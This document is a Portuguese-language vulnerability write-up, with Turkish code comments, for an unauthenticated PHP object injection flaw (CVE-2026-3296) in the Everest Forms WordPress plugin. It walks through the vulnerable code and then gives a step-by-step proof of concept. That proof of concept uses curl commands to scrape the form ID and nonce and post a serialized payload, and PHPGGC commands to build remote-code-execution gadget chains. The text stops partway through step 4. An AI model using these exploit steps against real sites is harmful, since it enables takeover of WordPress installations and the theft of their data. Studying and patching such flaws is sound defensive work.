CVE-2026-3296

CVE-2026-3296 é uma vulnerabilidade CVSS 9.8 Crítica de Injeção de Objetos PHP não autenticada no plugin Everest Forms WordPress.

CVE-2026-3296 — Everest Forms Scanner de Injeção de Objetos PHP

Plugin: Everest Forms – Formulário de Contato, Formulário de Pagamento, Quiz, Pesquisa e Construtor de Formulários Personalizados Slug do Plugin: everest-forms ID CVE: CVE-2026-3296 Pontuação CVSS: 9.8 (Crítica) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de Vulnerabilidade: Injeção de Objetos PHP não autenticada → RCE Versões Afetadas: <= 3.4.3 Versão Corrigida: 3.4.4 Data de Publicação: 7 de Abril de 2026 Pesquisador: 0xsabre — Mobikwik / Wordfence

---

📌 Sobre a Vulnerabilidade

O plugin Everest Forms, ao exibir metadados de entrada de formulários no painel administrativo, chama a função nativa unserialize() do PHP sem o parâmetro allowed_classes.

Um atacante não autenticado pode incorporar um payload serializado de objeto PHP em qualquer campo público do formulário, salvando-o no banco de dados. Quando a entrada é visualizada no painel administrativo, unserialize() é acionado e qualquer POP gadget chain disponível no ambiente é executado.

---

🔍 Resumo da Vulnerabilidade

Campo	Valor
ID CVE	CVE-2026-3296
CVSS	9.8 Crítica
Tipo	Injeção de Objetos PHP (Desserialização de Dados Não Confiáveis)
Versão Afetada	<= 3.4.3
Versão Corrigida	3.4.4
Autenticação	Não necessária (injeção), Admin (disparo)
CWE	CWE-502: Desserialização de Dados Não Confiáveis

---

⚙️ Análise Técnica

Modelo de Ataque em Duas Fases

FAZ 1 — INJEÇÃO (Autenticação não necessária)
FAZ 2 — DISPARO (Visualização no painel administrativo)

---

Fase 1 — Injeção: Armazenamento do Payload

Hook de Submissão do Formulário (class-evf-form-task.php, linha 75)

// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );

// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

Sanitização Insuficiente (evf-core-functions.php, linha 4754)

// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

Este payload é totalmente preservado após sanitize_text_field():

O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

Bug Adicional — Retorno Prematuro (linha 4764)

// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}

Escrita no Banco de Dados (class-evf-form-task.php, linha 1326)

$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

---

Fase 2 — Disparo: Desserialização Insegura

Código Vulnerável (html-admin-page-entries-view.php, linha 130–133)

$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}

Wrapper Seguro Existe, Mas Não é Usado (evf-core-functions.php, linha 5594)

// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}

---

Por que o Nonce Não Protege?

<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

O nonce fornece proteção CSRF, não autenticação. O atacante abre a página do formulário via GET, lê o nonce e depois envia o payload via POST.

---

🔴 Cadeia Completa de Ataque

┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

---

🧪 Prova de Conceito (Manual)

⚠️ Aviso: Esta PoC é fornecida apenas para fins educacionais e de pesquisa defensiva de segurança.

Pré-requisitos:

• Everest Forms <= 3.4.3 instalado e ativo
• Página de formulário publicamente acessível
• Acesso ao painel administrativo (para disparo)

---

Passo 1 — Obter ID do Formulário e Nonce

TARGET="https://target-site.example.com/contact/"

# Extrair ID do formulário
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Extrair nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

---

Passo 2 — Criar Payload de Teste Benigno

# Teste seguro — stdClass, sem métodos mágicos
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

Para ambiente real, gere a chain POP com PHPGGC:

# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

---

Passo 3 — Injete o Payload

FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

Esperado: Mensagem de sucesso do formulário ou redirecionamento.

---

Passo 4 — Verificar no Banco de Dados (WP-CLI)